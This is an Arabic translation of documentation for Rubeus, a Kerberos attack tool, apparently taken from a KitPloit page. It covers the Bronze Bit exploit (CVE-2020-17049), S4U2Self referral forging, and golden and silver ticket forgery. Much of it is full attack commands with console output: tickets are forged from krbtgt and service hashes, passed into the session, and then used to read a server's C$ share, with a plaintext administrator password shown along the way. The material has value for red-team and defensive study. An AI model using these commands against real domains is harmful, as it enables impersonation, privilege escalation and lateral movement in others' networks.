تم تنفيذ استغلال Bronze Bit (CVE-2020-17049) باستخدام العلم /bronzebit. إضافة هذا العلم سيقوم تلقائيًا بقلب العلم forwardable عند استرجاع تذكرة S4U2Self. نظرًا لأن قلب هذا العلم يتطلب فك تشفير تذكرة الخدمة وإعادة تشفيرها، فإن المفتاح طويل الأمد (تجزئة كلمة مرور حساب الخدمة) مطلوب. لهذا السبب، إذا تم توفير TGT، فإن بيانات اعتماد حساب الخدمة مطلوبة أيضًا لكي يعمل هذا.

من الممكن، في ظروف معينة، استخدام تذكرة S4U2Self لانتحال هوية المستخدمين المحميين (protected users) من أجل تصعيد الامتيازات على النظام الطالب، كما نوقش هنا. لهذا الغرض، يمكن استخدام العلم /self والوسيط /altservice:X لإنشاء تذكرة خدمة قابلة للاستخدام.

لتزوير إحالة S4U2Self، يلزم فقط مفتاح الثقة. باستخدام الوسيط /targetdomain:X مع العلم /self وبدون الوسيط /targetdc، سيعامل Rubeus التذكرة المقدمة مع /ticket:X كإحالة S4U2Self ويطلب فقط تذكرة خدمة S4U2Self النهائية. يمكن أيضًا استخدام /altservice:X لإعادة كتابة sname في التذكرة الناتجة:

root@kitploit:~
C:\Rubeus>Rubeus.exe s4u /self /targetdomain:internal.zeroday.lab /dc:idc1.internal.zeroday.lab /impersonateuser:external.admin /domain:external.zeroday.lab /altservice:host/isql1.internal.zeroday.lab /nowrap /ticket:C:\temp\s4u2self-referral.kirbi

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: S4U

[*] Action: S4U

[*] Using domain controller: idc1.internal.zeroday.lab (192.168.71.20)
[*] Requesting the cross realm 'S4U2Self' for [email protected] from idc1.internal.zeroday.lab
[*] Sending cross realm S4U2Self request
[+] cross realm S4U2Self success!
[*] Substituting alternative service name 'host/isql1.internal.zeroday.lab'
[*] base64(ticket.kirbi):

      doIFETCCBQ...RheS5sYWI=

تزوير التذاكر (Ticket Forgery)

تفصيل أوامر تزوير التذاكر:

الأمرالوصف
goldenتزوير تذكرة منح التذاكر (TGT)
silverتزوير تذكرة خدمة، يمكن أيضًا تزوير TGTs
diamondتزوير تذكرة ماسية (diamond ticket)

هناك العديد من أوجه التشابه بين الأمرين golden و silver، سبب فصلهما هو تبسيط الأمر golden. يمكن أن تكون تذاكر الخدمة أكثر تعقيدًا بكثير من TGTs بمفاتيح وأقسام إضافية مختلفة، بينما يمكن تزوير TGTs باستخدام الأمر silver، يوفر golden وسيطات محتملة أقل حيث أن الميزات غير ذات الصلة بـ TGTs غير موجودة.

معظم الوسيطات لكلا الأمرين هي لتعيين حقول PAC ويجب أن تكون واضحة بذاتها. وهذه هي:| الوسيطة | الوصف | |----------|-------------| | /user | يُستخدم كمستخدم لاستعلام التفاصيل إذا تم تمرير /ldap، ولكنه يُستخدم أيضًا لتعيين حقل EffectiveName في PAC وحقل cname في EncTicketPart | | /dc | يحدد وحدة تحكم المجال المستخدمة لاستعلام LDAP إذا تم تمرير /ldap، ولكنه يُستخدم أيضًا لتعيين حقل LogonServer في PAC | | /netbios | يضبط حقل LogonDomainName في PAC | | /sid | يضبط حقل LogonDomainId في PAC | | /id | يضبط حقل UserId في PAC (الافتراضي: 500) | | /displayname | يضبط حقل FullName في PAC | | /logoncount | يضبط حقل LogonCount في PAC (الافتراضي: 0) | | /badpwdcount | يضبط حقل BadPasswordCount في PAC (الافتراضي: 0) | | /uac | يضبط حقل UAC في PAC (الافتراضي: NORMAL_ACCOUNT) | | /pgid | يضبط حقل PrimaryGroupId في PAC ويُضاف أيضًا إلى حقل /groups (الافتراضي: 513) | | /groups | مفصولة بفاصلة. يضبط حقل Groups في PAC، ويُضاف إليه أيضًا /pgid. يُستخدم الإجمالي أيضًا لحساب حقل GroupCount (الافتراضي: 520,512,513,519,518) | | /homedir | يضبط حقل HomeDirectory في PAC | | /homedrive | يضبط حقل HomeDirectoryDrive في PAC | | /profilepath | يضبط حقل ProfilePath في PAC | | /scriptpath | يضبط حقل LogonScript في PAC | | /logofftime | يضبط حقل LogoffTime في PAC. بصيغة الوقت المحلي - يتم تحويله إلى UTC تلقائيًا | | /lastlogon | يضبط حقل LogonTime في PAC. بصيغة الوقت المحلي - يتم تحويله إلى UTC تلقائيًا (الافتراضي: starttime - 1 ثانية) | | /passlastset | يضبط حقل PasswordLastSet في PAC. بصيغة الوقت المحلي - يتم تحويله إلى UTC تلقائيًا | | /minpassage | يضبط حقل PasswordCanChange في PAC. هذا مرتبط بـ PasswordLastSet، بعدد الأيام، على سبيل المثال '5' لمدة 5 أيام | | /maxpassage | يضبط حقل PasswordMustChange في PAC. هذا مرتبط بـ PasswordLastSet، بعدد الأيام، على سبيل المثال '5' لمدة 5 أيام | | /sids | مفصولة بفاصلة. يضبط حقل ExtraSIDs في PAC. ويُستخدم أيضًا لحساب حقل ExtraSIDCount | | /resourcegroupsid | يضبط حقل ResourceGroupSid في PAC. إذا تم استخدامه، فإن /resourcegroups مطلوب أيضًا | | /resourcegroups | مفصولة بفاصلة. يضبط حقل ResourceGroups في PAC. ويُستخدم أيضًا لحساب حقل ResourceGroupCount. إذا تم استخدامه، فإن /resourcegroupsid مطلوب أيضًا |

الوسائط الأخرى الشائعة لكلا الأمرين ولكن لتعيين الحقول خارج PAC هي:

بالنسبة للأوقات النسبية الموضحة في الجداول أعلاه، فإن الصيغة هي عدد صحيح يُستخدم كمضاعف يتبعه حرف واحد يعمل كنطاق زمني. معنى كل حرف مدعوم موضح في الجدول أدناه (هذه حساسة لحالة الأحرف):

الحرفالوصف
mدقائق
hساعات
dأيام
Mأشهر
yسنوات

الميزة المشتركة الأخرى التي يستخدمها كلا الأمرين هي استرجاع معلومات LDAP. يدعم كل من golden و silver استرجاع المعلومات عبر LDAP باستخدام علامة /ldap. يمكن استخدام علامة /ldap مع وسيطي /creduser و credpassword للمصادقة كمستخدم بديل عند استرجاع هذه المعلومات. يتم استرجاع المعلومات عن طريق إرسال 3 استعلامات LDAP وتثبيت مشاركة SYSVOL لوحدة تحكم المجال (لقراءة ملف سياسة المجال) إذا لم يتم تمرير أي معلومات أخرى. سيتم إرسال استعلامات LDAP تلقائيًا عبر TLS وتتراجع إلى LDAP النصي إذا فشلت.

سيتم دائمًا إرسال استعلام LDAP الأول، إذا تم تمرير ldap، للاستعلام عن المستخدم المحدد في /user، واسترداد معظم معلومات المستخدم المطلوبة لـ PAC.

سيتم إرسال استعلام LDAP الثاني إذا لم يتم تقديم /groups أو /pgid أو /minpassage أو /maxpassage في سطر الأوامر، أي من هذه الوسائط المقدمة في سطر الأوامر ستتجنب الاستعلام عن LDAP للحصول على المعلومات. يسترجع هذا الاستعلام المجموعات التي يكون المستخدم عضوًا فيها، بما في ذلك المجموعة الأساسية، بالإضافة إلى كائن سياسة المجال (المستخدم للحصول على المسار إلى ملف السياسة). إذا لم يتم تقديم /minpassage أو /maxpassage في سطر الأوامر وتم استرداد كائن سياسة المجال من LDAP، فسيتم تثبيت مشاركة SYSVOL لوحدة تحكم المجال ويتم تحليل ملف السياسة للحصول على قيم MinimumPasswordAge (لتعيين القيمة الصحيحة لحقل PasswordCanChange في PAC) و MaximumPasswordAge (لتعيين القيمة الصحيحة لحقل PasswordMustChange في PAC).

أخيرًا، إذا لم يتم تقديم وسيطة /netbios في سطر الأوامر، يتم إجراء استعلام LDAP لاسم netbios الصحيح للمجال من حاوية Configuration من أجل تعيين حقل LogonDomainName في PAC. إذا لم يتم تقديم علامة /ldap في سطر الأوامر ولم يتم تقديم وسيطة /netbios أيضًا، فسيتم استخدام العنصر الأول (قبل النقطة الأولى '.') بالأحرف الكبيرة بدلاً من ذلك.

يمكن استخدام علامة /printcmd لطباعة الوسائط المطلوبة لإنشاء تذكرة أخرى تحتوي على نفس معلومات PAC المستخدمة لإنشاء التذكرة الحالية. لن يتم طباعة الوسائط المتعلقة بأوقات صلاحية التذكرة، حيث من المحتمل أن تكون مختلفة لأي تذاكر مستقبلية تريد تزويرها.

golden

سيعمل إجراء golden على تزوير TGT للمستخدم /user:X عن طريق تشفير التذكرة باستخدام التجزئة الممررة مع /des:X أو /rc4:X أو /aes128:X أو /aes256:X واستخدام نفس المفتاح لإنشاء ServerChecksum و KDCChecksum. تم وصف الوسائط المختلفة لتعيين الحقول يدويًا أعلاه، أو يمكن استخدام علامة /ldap لاسترداد المعلومات تلقائيًا من وحدة تحكم المجال.

يمكن استخدام مفتاح /oldpac لاستبعاد مخازن PAC_INFO_BUFFER الجديدة Requestor و Attributes، المضافة استجابةً لـ CVE-2021-42287.

سيقوم مفتاح /extendedupndns بتضمين عناصر UpnDns الموسعة الجديدة. يتضمن ذلك إضافة 2 إلى الأعلام، بالإضافة إلى احتواء samaccountname و SID الحساب.

تمت إضافة معامل /rodcNumber:x لأداء طلبات قائمة مفاتيح Kerberos. قيمة هذا المعامل هي الرقم المحدد بعد krbtgt_x في سمة msDS-KrbTgtLink لوحدة تحكم المجال للقراءة فقط، على سبيل المثال krbtgt_12345 ستكون 12345. يتطلب هذا الطلب أعلامًا معينة يمكن تعيينها باستخدام /flags:forwardable,renewable,enc_pa_rep. المفتاح (/des:X أو /rc4:X أو /aes128:X أو /aes256:X) المستخدم للتشفير هو مفتاح حساب KRBTGT_x. يمكن العثور على مزيد من المعلومات في منشور مدونة Elad Shamir هنا.

تزوير TGT باستخدام علامة /ldap لاسترداد المعلومات وعلامة /printcmd لطباعة أمر لتزوير تذكرة أخرى بنفس معلومات PAC:

root@kitploit:~
C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /user:harmj0y /printcmd

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Build TGT

[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=harmj0y)'
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC

[*] Domain         : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID            : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId         : 1106
[*] Groups         : 513
[*] ServiceKey     : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey         : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service        : krbtgt
[*] Target         : rubeus.ghostpack.local

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 29/07/2021 00:12:40
[*] StartTime      : 29/07/2021 00:12:40
[*] EndTime        : 29/07/2021 10:12:40
[*] RenewTill      : 05/08/2021 00:12:40

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs



[*] Printing a command to recreate a ticket containing the information used within this ticket

C:\Rubeus\Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y /id:1106 /pgid:513 /domain:rubeus.ghostpack.local /sid:S-1-5-21-3237111427-1607930709-3979055039 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1 /logoncount:16 /displayname:"Harm J0y" /netbios:RUBEUS /groups:513 /dc:PDC1.rubeus.ghostpack.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD,NOT_DELEGATED

تزوير TGT، مع تعيين كل شيء بشكل صريح في سطر الأوامر:

root@kitploit:~
C:\Rubeus>Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y /id:1106 /pgid:513 /domain:rubeus.ghostpack.local /sid:S-1-5-21-3237111427-1607930709-3979055039 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1 /logoncount:16 /displayname:"Harm J0y" /netbios:RUBEUS /groups:513 /dc:PDC1.rubeus.ghostpack.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD,NOT_DELEGATED

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Build TGT

[*] Building PAC

[*] Domain         : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID            : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId         : 1106
[*] Groups         : 513
[*] ServiceKey     : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey         : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service        : krbtgt
[*] Target         : rubeus.ghostpack.local

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 29/07/2021 00:18:19
[*] StartTime      : 29/07/2021 00:18:19
[*] EndTime        : 29/07/2021 10:18:19
[*] RenewTill      : 05/08/2021 00:18:19

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs

تزوير 5 TGTs تبدأ في أيام مختلفة مع فاصل زمني قدره يوم واحد بين أوقات البدء، مع بدء الأول الآن، واستخدام LDAP للحصول على معلومات PAC:

root@kitploit:~
C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /user:harmj0y /rangeend:5d /rangeinterval:1d

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Build TGT

[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=harmj0y)'
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC

[*] Domain         : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID            : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId         : 1106
[*] Groups         : 513
[*] ServiceKey     : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey         : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service        : krbtgt
[*] Target         : rubeus.ghostpack.local

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 29/07/2021 00:22:38
[*] StartTime      : 29/07/2021 00:22:38
[*] EndTime        : 29/07/2021 10:22:38
[*] RenewTill      : 05/08/2021 00:22:38

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs


[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 30/07/2021 00:22:38
[*] StartTime      : 30/07/2021 00:22:38
[*] EndTime        : 30/07/2021 10:22:38
[*] RenewTill      : 06/08/2021 00:22:38

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs


[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 31/07/2021 00:22:38
[*] StartTime      : 31/07/2021 00:22:38
[*] EndTime        : 31/07/2021 10:22:38
[*] RenewTill      : 07/08/2021 00:22:38

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs


[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 01/08/2021 00:22:38
[*] StartTime      : 01/08/2021 00:22:38
[*] EndTime        : 01/08/2021 10:22:38
[*] RenewTill      : 08/08/2021 00:22:38

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs


[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 02/08/2021 00:22:38
[*] StartTime      : 02/08/2021 00:22:38
[*] EndTime        : 02/08/2021 10:22:38
[*] RenewTill      : 09/08/2021 00:22:38

[*] base64(ticket.kirbi):

      doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      dWJldXMuZ2hvc3RwYWNrLmxvY2Fs

silver

سيعمل إجراء silver على تزوير تذكرة للمستخدم /user:X والخدمة /service:SPN، عن طريق تشفير التذكرة باستخدام التجزئة الممررة مع /des:X أو /rc4:X أو /aes128:X أو /aes256:X واستخدام نفس المفتاح لإنشاء ServerChecksum. إذا تم تمرير وسيطة /krbkey:X، فسيتم استخدامها لإنشاء KDCChecksum و TicketChecksum (إذا لم تكن الخدمة krbtgt/domain.com أو كان domain.com مختلفًا عن المجال المستخدم داخل التذكرة، أي أنها تذكرة إحالة)، وإلا يتم استخدام نفس المفتاح المستخدم لتشفير التذكرة. إذا لم يتم تمرير krbenctype:X، فسيتم افتراض نفس نوع التشفير المستخدم بواسطة مفتاح الخدمة لـ KDCChecksum و TicketChecksum.

يمكن استخدام وسيطتي /cname:X و /crealm:X لتعيين قيم مختلفة لتلك الحقول داخل EncTicketPart (الجزء المشفر من التذكرة)، وهذا يُرى أحيانًا داخل تذاكر تفويض الإحالة. يمكن إضافة قسم PAC من نوع S4UDelegationInfo عن طريق تمرير وسيطتي /s4uproxytarget:X و /s4utransitedservices:SPN1,SPN2,...، حيث يوفر هذا القسم هدفًا نهائيًا للتفويض وقائمة SPNs التي مر بها التفويض.يمكن استخدام العلم /authdata لإضافة بعض أقسام بيانات التوثيق العامة إلى EncTicketPart، وسيتضمن هذا افتراضيًا قسم KERB-LOCAL وقسم KERB-AD-RESTRICTION-ENTRY بقيم افتراضية.

سيؤدي العلم /nofullpacsig إلى استبعاد جديد FullPacChecksum، المُقدم لحل ثغرة CVE-2022-37967. يتم تضمين هذا التوقيع افتراضيًا في أي تذاكر غير مؤمنة بمفتاح krbtgt.

تزوير تذكرة خدمة إلى cifs/SQL1.rubeus.ghostpack.local للمستخدم ccob باستخدام تجزئة كلمة مرور RC4 الخاصة بالخدمة وتوقيع KDCChecksum وTicketChecksum بمفتاح KRBTGT AES256 المناسب، باستخدام LDAP مع بيانات اعتماد بديلة للحصول على معلومات PAC:

root@kitploit:~
C:\Rubeus>dir \\SQL1.rubeus.ghostpack.local\c$
The user name or password is incorrect.

C:\Rubeus>Rubeus.exe silver /service:cifs/SQL1.rubeus.ghostpack.local /rc4:f74b07eb77caa52b8d227a113cb649a6 /ldap /creduser:rubeus.ghostpack.local\Administrator /credpassword:Password1 /user:ccob /krbkey:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /krbenctype:aes256 /domain:rubeus.ghostpack.local /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Build TGS

[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=ccob)'
[*] Retrieving group and domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(distinguishedname=CN=Domain Admins,CN=Users,DC=rubeus,DC=ghostpack,DC=local)(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[!] Unable to query forest root using System.DirectoryServices.ActiveDirectory.Forest, assuming rubeus.ghostpack.local is the forest root
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC

[*] Domain         : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID            : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId         : 1109
[*] Groups         : 512,513
[*] ServiceKey     : F74B07EB77CAA52B8D227A113CB649A6
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey         : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service        : cifs
[*] Target         : SQL1.rubeus.ghostpack.local

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGS for 'ccob' to 'cifs/SQL1.rubeus.ghostpack.local'

[*] AuthTime       : 29/07/2021 01:00:23
[*] StartTime      : 29/07/2021 01:00:23
[*] EndTime        : 29/07/2021 11:00:23
[*] RenewTill      : 05/08/2021 01:00:23

[*] base64(ticket.kirbi):

      doIFZTCCBWGgAwIBBaEDAgEWooIESDCCBERhggRAMIIEPKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
                                        ...(snip)...
      bG9jYWw=


[+] Ticket successfully imported!

C:\Rubeus>dir \\SQL1.rubeus.ghostpack.local\c$
 Volume in drive \\SQL1.rubeus.ghostpack.local\c$ has no label.
 Volume Serial Number is 1AD6-20BE

 Directory of \\SQL1.rubeus.ghostpack.local\c$

15/09/2018  08:19    <DIR>          PerfLogs
20/07/2021  18:17    <DIR>          Program Files
20/07/2021  18:17    <DIR>          Program Files (x86)
21/07/2021  01:53    <DIR>          Rubeus
20/07/2021  21:02    <DIR>          temp
20/07/2021  22:31    <DIR>          Users
20/07/2021  18:18    <DIR>          Windows
               0 File(s)              0 bytes
               7 Dir(s)  124,275,159,040 bytes free

تزوير TGT إحالة لمجال موثوق، باستخدام LDAP لاسترداد معلومات PAC:

root@kitploit:~
C:\Rubeus>Rubeus.exe silver /user:exploitph /ldap /service:krbtgt/dev.rubeus.ghostpack.local /rc4:856a1023055848748e7b9d505ebe0e02

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0

[*] Action: Build TGS

[*] Trying to query LDAP using LDAPS for user information on domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(samaccountname=exploitph)'
[*] Retrieving domain policy information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'DC=rubeus,DC=ghostpack,DC=local' for '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Attempting to mount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully mounted
[*] Attempting to unmount: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL successfully unmounted
[*] Retrieving netbios name information over LDAP from domain controller PDC1.rubeus.ghostpack.local
[*] Searching path 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' for '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Building PAC

[*] Domain         : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID            : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId         : 1104
[*] Groups         : 513
[*] ServiceKey     : 856A1023055848748E7B9D505EBE0E02
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey         : 856A1023055848748E7B9D505EBE0E02
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_MD5
[*] Service        : krbtgt
[*] Target         : dev.rubeus.ghostpack.local

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for '[email protected]'

[*] AuthTime       : 29/07/2021 02:45:54
[*] StartTime      : 29/07/2021 02:45:54
[*] EndTime        : 29/07/2021 12:45:54

Read more

تنزيل الأداة
  • استهداف إصدارات .NET أخرى
  • ملاحظة جانبية: بناء Rubeus كمكتبة
  • ملاحظة جانبية: تشغيل Rubeus عبر PowerShell
    • ملاحظة جانبية جانبية: تشغيل Rubeus عبر PSRemoting
الأمرالوصف
asktgtطلب تذكرة منح تذكرة (TGT) من تجزئة/مفتاح أو كلمة مرور
asktgsطلب تذكرة خدمة من TGT تم تمريره
renewتجديد (أو التجديد التلقائي) لـ TGT أو تذكرة خدمة
bruteإجراء هجوم تخمين كلمات المرور القائم على Kerberos. يمكن أيضًا استخدام 'spray' بدلاً من 'brute'
preauthscanإجراء فحص للحسابات التي لا تتطلب توثيقًا مسبقًا لـ Kerberos
الوسيطةالوصف
/authtimeيضبط حقل authtime في EncTicketPart. بصيغة الوقت المحلي - يتم تحويله إلى UTC تلقائيًا (الافتراضي: الآن)
/starttimeيضبط حقل starttime في EncTicketPart. بصيغة الوقت المحلي - يتم تحويله إلى UTC تلقائيًا (الافتراضي: الآن)
